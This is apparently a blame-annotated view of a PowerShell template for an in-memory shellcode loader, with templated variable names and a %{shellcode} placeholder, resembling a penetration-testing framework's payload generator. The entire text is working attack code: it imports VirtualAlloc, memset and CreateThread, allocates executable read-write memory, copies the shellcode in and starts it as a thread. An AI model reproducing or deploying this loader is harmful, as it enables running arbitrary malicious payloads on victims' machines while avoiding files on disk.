2013-08-23 14:59:19 +00:00
|
|
|
$%{var_syscode} = @"
|
2013-08-20 23:52:58 +00:00
|
|
|
[DllImport("kernel32.dll")]
|
|
|
|
|
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
|
|
|
|
[DllImport("kernel32.dll")]
|
|
|
|
|
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
|
|
|
|
[DllImport("msvcrt.dll")]
|
|
|
|
|
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
|
|
|
|
|
"@
|
|
|
|
|
|
2013-08-23 14:59:19 +00:00
|
|
|
$%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -namespace Win32Functions -passthru
|
|
|
|
|
|
|
|
|
|
%{shellcode}
|
2013-08-20 23:52:58 +00:00
|
|
|
|
2014-06-08 16:37:57 +00:00
|
|
|
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length,0x1000),0x3000,0x40)
|
2013-08-23 14:59:19 +00:00
|
|
|
|
|
|
|
|
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
|
2014-06-08 16:37:57 +00:00
|
|
|
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
|
2013-08-23 14:59:19 +00:00
|
|
|
}
|
|
|
|
|
|
2013-08-20 23:52:58 +00:00
|
|
|
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)
|
